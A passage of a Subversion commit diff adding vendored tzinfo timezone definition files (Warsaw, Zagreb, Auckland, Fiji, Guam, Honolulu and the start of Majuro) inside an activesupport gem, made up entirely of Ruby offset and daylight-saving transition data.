+          tz.transition 2012, 10, :o4, 1351386000
+          tz.transition 2013, 3, :o8, 1364691600
+          tz.transition 2013, 10, :o4, 1382835600
+          tz.transition 2014, 3, :o8, 1396141200
+          tz.transition 2014, 10, :o4, 1414285200
+          tz.transition 2015, 3, :o8, 1427590800
+          tz.transition 2015, 10, :o4, 1445734800
+          tz.transition 2016, 3, :o8, 1459040400
+          tz.transition 2016, 10, :o4, 1477789200
+          tz.transition 2017, 3, :o8, 1490490000
+          tz.transition 2017, 10, :o4, 1509238800
+          tz.transition 2018, 3, :o8, 1521939600
+          tz.transition 2018, 10, :o4, 1540688400
+          tz.transition 2019, 3, :o8, 1553994000
+          tz.transition 2019, 10, :o4, 1572138000
+          tz.transition 2020, 3, :o8, 1585443600
+          tz.transition 2020, 10, :o4, 1603587600
+          tz.transition 2021, 3, :o8, 1616893200
+          tz.transition 2021, 10, :o4, 1635642000
+          tz.transition 2022, 3, :o8, 1648342800
+          tz.transition 2022, 10, :o4, 1667091600
+          tz.transition 2023, 3, :o8, 1679792400
+          tz.transition 2023, 10, :o4, 1698541200
+          tz.transition 2024, 3, :o8, 1711846800
+          tz.transition 2024, 10, :o4, 1729990800
+          tz.transition 2025, 3, :o8, 1743296400
+          tz.transition 2025, 10, :o4, 1761440400
+          tz.transition 2026, 3, :o8, 1774746000
+          tz.transition 2026, 10, :o4, 1792890000
+          tz.transition 2027, 3, :o8, 1806195600
+          tz.transition 2027, 10, :o4, 1824944400
+          tz.transition 2028, 3, :o8, 1837645200
+          tz.transition 2028, 10, :o4, 1856394000
+          tz.transition 2029, 3, :o8, 1869094800
+          tz.transition 2029, 10, :o4, 1887843600
+          tz.transition 2030, 3, :o8, 1901149200
+          tz.transition 2030, 10, :o4, 1919293200
+          tz.transition 2031, 3, :o8, 1932598800
+          tz.transition 2031, 10, :o4, 1950742800
+          tz.transition 2032, 3, :o8, 1964048400
+          tz.transition 2032, 10, :o4, 1982797200
+          tz.transition 2033, 3, :o8, 1995498000
+          tz.transition 2033, 10, :o4, 2014246800
+          tz.transition 2034, 3, :o8, 2026947600
+          tz.transition 2034, 10, :o4, 2045696400
+          tz.transition 2035, 3, :o8, 2058397200
+          tz.transition 2035, 10, :o4, 2077146000
+          tz.transition 2036, 3, :o8, 2090451600
+          tz.transition 2036, 10, :o4, 2108595600
+          tz.transition 2037, 3, :o8, 2121901200
+          tz.transition 2037, 10, :o4, 2140045200
+          tz.transition 2038, 3, :o8, 59172253, 24
+          tz.transition 2038, 10, :o4, 59177461, 24
+          tz.transition 2039, 3, :o8, 59180989, 24
+          tz.transition 2039, 10, :o4, 59186197, 24
+          tz.transition 2040, 3, :o8, 59189725, 24
+          tz.transition 2040, 10, :o4, 59194933, 24
+          tz.transition 2041, 3, :o8, 59198629, 24
+          tz.transition 2041, 10, :o4, 59203669, 24
+          tz.transition 2042, 3, :o8, 59207365, 24
+          tz.transition 2042, 10, :o4, 59212405, 24
+          tz.transition 2043, 3, :o8, 59216101, 24
+          tz.transition 2043, 10, :o4, 59221141, 24
+          tz.transition 2044, 3, :o8, 59224837, 24
+          tz.transition 2044, 10, :o4, 59230045, 24
+          tz.transition 2045, 3, :o8, 59233573, 24
+          tz.transition 2045, 10, :o4, 59238781, 24
+          tz.transition 2046, 3, :o8, 59242309, 24
+          tz.transition 2046, 10, :o4, 59247517, 24
+          tz.transition 2047, 3, :o8, 59251213, 24
+          tz.transition 2047, 10, :o4, 59256253, 24
+          tz.transition 2048, 3, :o8, 59259949, 24
+          tz.transition 2048, 10, :o4, 59264989, 24
+          tz.transition 2049, 3, :o8, 59268685, 24
+          tz.transition 2049, 10, :o4, 59273893, 24
+          tz.transition 2050, 3, :o8, 59277421, 24
+          tz.transition 2050, 10, :o4, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,212 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Warsaw
+        include TimezoneDefinition
+        
+        timezone 'Europe/Warsaw' do |tz|
+          tz.offset :o0, 5040, 0, :LMT
+          tz.offset :o1, 5040, 0, :WMT
+          tz.offset :o2, 3600, 0, :CET
+          tz.offset :o3, 3600, 3600, :CEST
+          tz.offset :o4, 7200, 0, :EET
+          tz.offset :o5, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 288925853, 120
+          tz.transition 1915, 8, :o2, 290485733, 120
+          tz.transition 1916, 4, :o3, 29051813, 12
+          tz.transition 1916, 9, :o2, 58107299, 24
+          tz.transition 1917, 4, :o3, 58112029, 24
+          tz.transition 1917, 9, :o2, 58115725, 24
+          tz.transition 1918, 4, :o3, 58120765, 24
+          tz.transition 1918, 9, :o4, 58124461, 24
+          tz.transition 1919, 4, :o5, 4844127, 2
+          tz.transition 1919, 9, :o4, 4844435, 2
+          tz.transition 1922, 5, :o2, 29078477, 12
+          tz.transition 1940, 6, :o3, 58315285, 24
+          tz.transition 1942, 11, :o2, 58335973, 24
+          tz.transition 1943, 3, :o3, 58339501, 24
+          tz.transition 1943, 10, :o2, 58344037, 24
+          tz.transition 1944, 4, :o3, 58348405, 24
+          tz.transition 1944, 10, :o2, 4862735, 2
+          tz.transition 1945, 4, :o3, 58357787, 24
+          tz.transition 1945, 10, :o2, 29181125, 12
+          tz.transition 1946, 4, :o3, 58366187, 24
+          tz.transition 1946, 10, :o2, 58370413, 24
+          tz.transition 1947, 5, :o3, 58375429, 24
+          tz.transition 1947, 10, :o2, 58379125, 24
+          tz.transition 1948, 4, :o3, 58383829, 24
+          tz.transition 1948, 10, :o2, 58387861, 24
+          tz.transition 1949, 4, :o3, 58392397, 24
+          tz.transition 1949, 10, :o2, 58396597, 24
+          tz.transition 1957, 6, :o3, 4871983, 2
+          tz.transition 1957, 9, :o2, 4872221, 2
+          tz.transition 1958, 3, :o3, 4872585, 2
+          tz.transition 1958, 9, :o2, 4872949, 2
+          tz.transition 1959, 5, :o3, 4873439, 2
+          tz.transition 1959, 10, :o2, 4873691, 2
+          tz.transition 1960, 4, :o3, 4874055, 2
+          tz.transition 1960, 10, :o2, 4874419, 2
+          tz.transition 1961, 5, :o3, 4874895, 2
+          tz.transition 1961, 10, :o2, 4875147, 2
+          tz.transition 1962, 5, :o3, 4875623, 2
+          tz.transition 1962, 9, :o2, 4875875, 2
+          tz.transition 1963, 5, :o3, 4876351, 2
+          tz.transition 1963, 9, :o2, 4876603, 2
+          tz.transition 1964, 5, :o3, 4877093, 2
+          tz.transition 1964, 9, :o2, 4877331, 2
+          tz.transition 1977, 4, :o3, 228873600
+          tz.transition 1977, 9, :o2, 243993600
+          tz.transition 1978, 4, :o3, 260323200
+          tz.transition 1978, 10, :o2, 276048000
+          tz.transition 1979, 4, :o3, 291772800
+          tz.transition 1979, 9, :o2, 307497600
+          tz.transition 1980, 4, :o3, 323827200
+          tz.transition 1980, 9, :o2, 338947200
+          tz.transition 1981, 3, :o3, 354672000
+          tz.transition 1981, 9, :o2, 370396800
+          tz.transition 1982, 3, :o3, 386121600
+          tz.transition 1982, 9, :o2, 401846400
+          tz.transition 1983, 3, :o3, 417571200
+          tz.transition 1983, 9, :o2, 433296000
+          tz.transition 1984, 3, :o3, 449020800
+          tz.transition 1984, 9, :o2, 465350400
+          tz.transition 1985, 3, :o3, 481075200
+          tz.transition 1985, 9, :o2, 496800000
+          tz.transition 1986, 3, :o3, 512524800
+          tz.transition 1986, 9, :o2, 528249600
+          tz.transition 1987, 3, :o3, 543974400
+          tz.transition 1987, 9, :o2, 559699200
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Zagreb
+        include TimezoneDefinition
+        
+        linked_timezone 'Europe/Zagreb', 'Europe/Belgrade'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,202 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Auckland
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Auckland' do |tz|
+          tz.offset :o0, 41944, 0, :LMT
+          tz.offset :o1, 41400, 0, :NZMT
+          tz.offset :o2, 41400, 3600, :NZST
+          tz.offset :o3, 41400, 1800, :NZST
+          tz.offset :o4, 43200, 0, :NZST
+          tz.offset :o5, 43200, 3600, :NZDT
+          
+          tz.transition 1868, 11, :o1, 25959290557, 10800
+          tz.transition 1927, 11, :o2, 116409125, 48
+          tz.transition 1928, 3, :o1, 38804945, 16
+          tz.transition 1928, 10, :o3, 116425589, 48
+          tz.transition 1929, 3, :o1, 29108245, 12
+          tz.transition 1929, 10, :o3, 116443061, 48
+          tz.transition 1930, 3, :o1, 29112613, 12
+          tz.transition 1930, 10, :o3, 116460533, 48
+          tz.transition 1931, 3, :o1, 29116981, 12
+          tz.transition 1931, 10, :o3, 116478005, 48
+          tz.transition 1932, 3, :o1, 29121433, 12
+          tz.transition 1932, 10, :o3, 116495477, 48
+          tz.transition 1933, 3, :o1, 29125801, 12
+          tz.transition 1933, 10, :o3, 116512949, 48
+          tz.transition 1934, 4, :o1, 29130673, 12
+          tz.transition 1934, 9, :o3, 116530085, 48
+          tz.transition 1935, 4, :o1, 29135041, 12
+          tz.transition 1935, 9, :o3, 116547557, 48
+          tz.transition 1936, 4, :o1, 29139409, 12
+          tz.transition 1936, 9, :o3, 116565029, 48
+          tz.transition 1937, 4, :o1, 29143777, 12
+          tz.transition 1937, 9, :o3, 116582501, 48
+          tz.transition 1938, 4, :o1, 29148145, 12
+          tz.transition 1938, 9, :o3, 116599973, 48
+          tz.transition 1939, 4, :o1, 29152597, 12
+          tz.transition 1939, 9, :o3, 116617445, 48
+          tz.transition 1940, 4, :o1, 29156965, 12
+          tz.transition 1940, 9, :o3, 116635253, 48
+          tz.transition 1945, 12, :o4, 2431821, 1
+          tz.transition 1974, 11, :o5, 152632800
+          tz.transition 1975, 2, :o4, 162309600
+          tz.transition 1975, 10, :o5, 183477600
+          tz.transition 1976, 3, :o4, 194968800
+          tz.transition 1976, 10, :o5, 215532000
+          tz.transition 1977, 3, :o4, 226418400
+          tz.transition 1977, 10, :o5, 246981600
+          tz.transition 1978, 3, :o4, 257868000
+          tz.transition 1978, 10, :o5, 278431200
+          tz.transition 1979, 3, :o4, 289317600
+          tz.transition 1979, 10, :o5, 309880800
+          tz.transition 1980, 3, :o4, 320767200
+          tz.transition 1980, 10, :o5, 341330400
+          tz.transition 1981, 2, :o4, 352216800
+          tz.transition 1981, 10, :o5, 372780000
+          tz.transition 1982, 3, :o4, 384271200
+          tz.transition 1982, 10, :o5, 404834400
+          tz.transition 1983, 3, :o4, 415720800
+          tz.transition 1983, 10, :o5, 436284000
+          tz.transition 1984, 3, :o4, 447170400
+          tz.transition 1984, 10, :o5, 467733600
+          tz.transition 1985, 3, :o4, 478620000
+          tz.transition 1985, 10, :o5, 499183200
+          tz.transition 1986, 3, :o4, 510069600
+          tz.transition 1986, 10, :o5, 530632800
+          tz.transition 1987, 2, :o4, 541519200
+          tz.transition 1987, 10, :o5, 562082400
+          tz.transition 1988, 3, :o4, 573573600
+          tz.transition 1988, 10, :o5, 594136800
+          tz.transition 1989, 3, :o4, 605023200
+          tz.transition 1989, 10, :o5, 623772000
+          tz.transition 1990, 3, :o4, 637682400
+          tz.transition 1990, 10, :o5, 655221600
+          tz.transition 1991, 3, :o4, 669132000
+          tz.transition 1991, 10, :o5, 686671200
+          tz.transition 1992, 3, :o4, 700581600
+          tz.transition 1992, 10, :o5, 718120800
+          tz.transition 1993, 3, :o4, 732636000
+          tz.transition 1993, 10, :o5, 749570400
+          tz.transition 1994, 3, :o4, 764085600
+          tz.transition 1994, 10, :o5, 781020000
+          tz.transition 1995, 3, :o4, 795535200
+          tz.transition 1995, 9, :o5, 812469600
+          tz.transition 1996, 3, :o4, 826984800
+          tz.transition 1996, 10, :o5, 844524000
+          tz.transition 1997, 3, :o4, 858434400
+          tz.transition 1997, 10, :o5, 875973600
+          tz.transition 1998, 3, :o4, 889884000
+          tz.transition 1998, 10, :o5, 907423200
+          tz.transition 1999, 3, :o4, 921938400
+          tz.transition 1999, 10, :o5, 938872800
+          tz.transition 2000, 3, :o4, 953388000
+          tz.transition 2000, 9, :o5, 970322400
+          tz.transition 2001, 3, :o4, 984837600
+          tz.transition 2001, 10, :o5, 1002376800
+          tz.transition 2002, 3, :o4, 1016287200
+          tz.transition 2002, 10, :o5, 1033826400
+          tz.transition 2003, 3, :o4, 1047736800
+          tz.transition 2003, 10, :o5, 1065276000
+          tz.transition 2004, 3, :o4, 1079791200
+          tz.transition 2004, 10, :o5, 1096725600
+          tz.transition 2005, 3, :o4, 1111240800
+          tz.transition 2005, 10, :o5, 1128175200
+          tz.transition 2006, 3, :o4, 1142690400
+          tz.transition 2006, 9, :o5, 1159624800
+          tz.transition 2007, 3, :o4, 1174140000
+          tz.transition 2007, 9, :o5, 1191074400
+          tz.transition 2008, 4, :o4, 1207404000
+          tz.transition 2008, 9, :o5, 1222524000
+          tz.transition 2009, 4, :o4, 1238853600
+          tz.transition 2009, 9, :o5, 1253973600
+          tz.transition 2010, 4, :o4, 1270303200
+          tz.transition 2010, 9, :o5, 1285423200
+          tz.transition 2011, 4, :o4, 1301752800
+          tz.transition 2011, 9, :o5, 1316872800
+          tz.transition 2012, 3, :o4, 1333202400
+          tz.transition 2012, 9, :o5, 1348927200
+          tz.transition 2013, 4, :o4, 1365256800
+          tz.transition 2013, 9, :o5, 1380376800
+          tz.transition 2014, 4, :o4, 1396706400
+          tz.transition 2014, 9, :o5, 1411826400
+          tz.transition 2015, 4, :o4, 1428156000
+          tz.transition 2015, 9, :o5, 1443276000
+          tz.transition 2016, 4, :o4, 1459605600
+          tz.transition 2016, 9, :o5, 1474725600
+          tz.transition 2017, 4, :o4, 1491055200
+          tz.transition 2017, 9, :o5, 1506175200
+          tz.transition 2018, 3, :o4, 1522504800
+          tz.transition 2018, 9, :o5, 1538229600
+          tz.transition 2019, 4, :o4, 1554559200
+          tz.transition 2019, 9, :o5, 1569679200
+          tz.transition 2020, 4, :o4, 1586008800
+          tz.transition 2020, 9, :o5, 1601128800
+          tz.transition 2021, 4, :o4, 1617458400
+          tz.transition 2021, 9, :o5, 1632578400
+          tz.transition 2022, 4, :o4, 1648908000
+          tz.transition 2022, 9, :o5, 1664028000
+          tz.transition 2023, 4, :o4, 1680357600
+          tz.transition 2023, 9, :o5, 1695477600
+          tz.transition 2024, 4, :o4, 1712412000
+          tz.transition 2024, 9, :o5, 1727532000
+          tz.transition 2025, 4, :o4, 1743861600
+          tz.transition 2025, 9, :o5, 1758981600
+          tz.transition 2026, 4, :o4, 1775311200
+          tz.transition 2026, 9, :o5, 1790431200
+          tz.transition 2027, 4, :o4, 1806760800
+          tz.transition 2027, 9, :o5, 1821880800
+          tz.transition 2028, 4, :o4, 1838210400
+          tz.transition 2028, 9, :o5, 1853330400
+          tz.transition 2029, 3, :o4, 1869660000
+          tz.transition 2029, 9, :o5, 1885384800
+          tz.transition 2030, 4, :o4, 1901714400
+          tz.transition 2030, 9, :o5, 1916834400
+          tz.transition 2031, 4, :o4, 1933164000
+          tz.transition 2031, 9, :o5, 1948284000
+          tz.transition 2032, 4, :o4, 1964613600
+          tz.transition 2032, 9, :o5, 1979733600
+          tz.transition 2033, 4, :o4, 1996063200
+          tz.transition 2033, 9, :o5, 2011183200
+          tz.transition 2034, 4, :o4, 2027512800
+          tz.transition 2034, 9, :o5, 2042632800
+          tz.transition 2035, 3, :o4, 2058962400
+          tz.transition 2035, 9, :o5, 2074687200
+          tz.transition 2036, 4, :o4, 2091016800
+          tz.transition 2036, 9, :o5, 2106136800
+          tz.transition 2037, 4, :o4, 2122466400
+          tz.transition 2037, 9, :o5, 2137586400
+          tz.transition 2038, 4, :o4, 29586205, 12
+          tz.transition 2038, 9, :o5, 29588305, 12
+          tz.transition 2039, 4, :o4, 29590573, 12
+          tz.transition 2039, 9, :o5, 29592673, 12
+          tz.transition 2040, 3, :o4, 29594941, 12
+          tz.transition 2040, 9, :o5, 29597125, 12
+          tz.transition 2041, 4, :o4, 29599393, 12
+          tz.transition 2041, 9, :o5, 29601493, 12
+          tz.transition 2042, 4, :o4, 29603761, 12
+          tz.transition 2042, 9, :o5, 29605861, 12
+          tz.transition 2043, 4, :o4, 29608129, 12
+          tz.transition 2043, 9, :o5, 29610229, 12
+          tz.transition 2044, 4, :o4, 29612497, 12
+          tz.transition 2044, 9, :o5, 29614597, 12
+          tz.transition 2045, 4, :o4, 29616865, 12
+          tz.transition 2045, 9, :o5, 29618965, 12
+          tz.transition 2046, 3, :o4, 29621233, 12
+          tz.transition 2046, 9, :o5, 29623417, 12
+          tz.transition 2047, 4, :o4, 29625685, 12
+          tz.transition 2047, 9, :o5, 29627785, 12
+          tz.transition 2048, 4, :o4, 29630053, 12
+          tz.transition 2048, 9, :o5, 29632153, 12
+          tz.transition 2049, 4, :o4, 29634421, 12
+          tz.transition 2049, 9, :o5, 29636521, 12
+          tz.transition 2050, 4, :o4, 29638789, 12
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Fiji
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Fiji' do |tz|
+          tz.offset :o0, 42820, 0, :LMT
+          tz.offset :o1, 43200, 0, :FJT
+          tz.offset :o2, 43200, 3600, :FJST
+          
+          tz.transition 1915, 10, :o1, 10457838739, 4320
+          tz.transition 1998, 10, :o2, 909842400
+          tz.transition 1999, 2, :o1, 920124000
+          tz.transition 1999, 11, :o2, 941896800
+          tz.transition 2000, 2, :o1, 951573600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Guam
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Guam' do |tz|
+          tz.offset :o0, -51660, 0, :LMT
+          tz.offset :o1, 34740, 0, :LMT
+          tz.offset :o2, 36000, 0, :GST
+          tz.offset :o3, 36000, 0, :ChST
+          
+          tz.transition 1844, 12, :o1, 1149567407, 480
+          tz.transition 1900, 12, :o2, 1159384847, 480
+          tz.transition 2000, 12, :o3, 977493600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Honolulu
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Honolulu' do |tz|
+          tz.offset :o0, -37886, 0, :LMT
+          tz.offset :o1, -37800, 0, :HST
+          tz.offset :o2, -37800, 3600, :HDT
+          tz.offset :o3, -37800, 3600, :HWT
+          tz.offset :o4, -37800, 3600, :HPT
+          tz.offset :o5, -36000, 0, :HST
+          
+          tz.transition 1900, 1, :o1, 104328926143, 43200
+          tz.transition 1933, 4, :o2, 116505265, 48
+          tz.transition 1933, 5, :o1, 116506271, 48
+          tz.transition 1942, 2, :o3, 116659201, 48
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o1, 116722991, 48
+          tz.transition 1947, 6, :o5, 116752561, 48
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Majuro
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Majuro' do |tz|
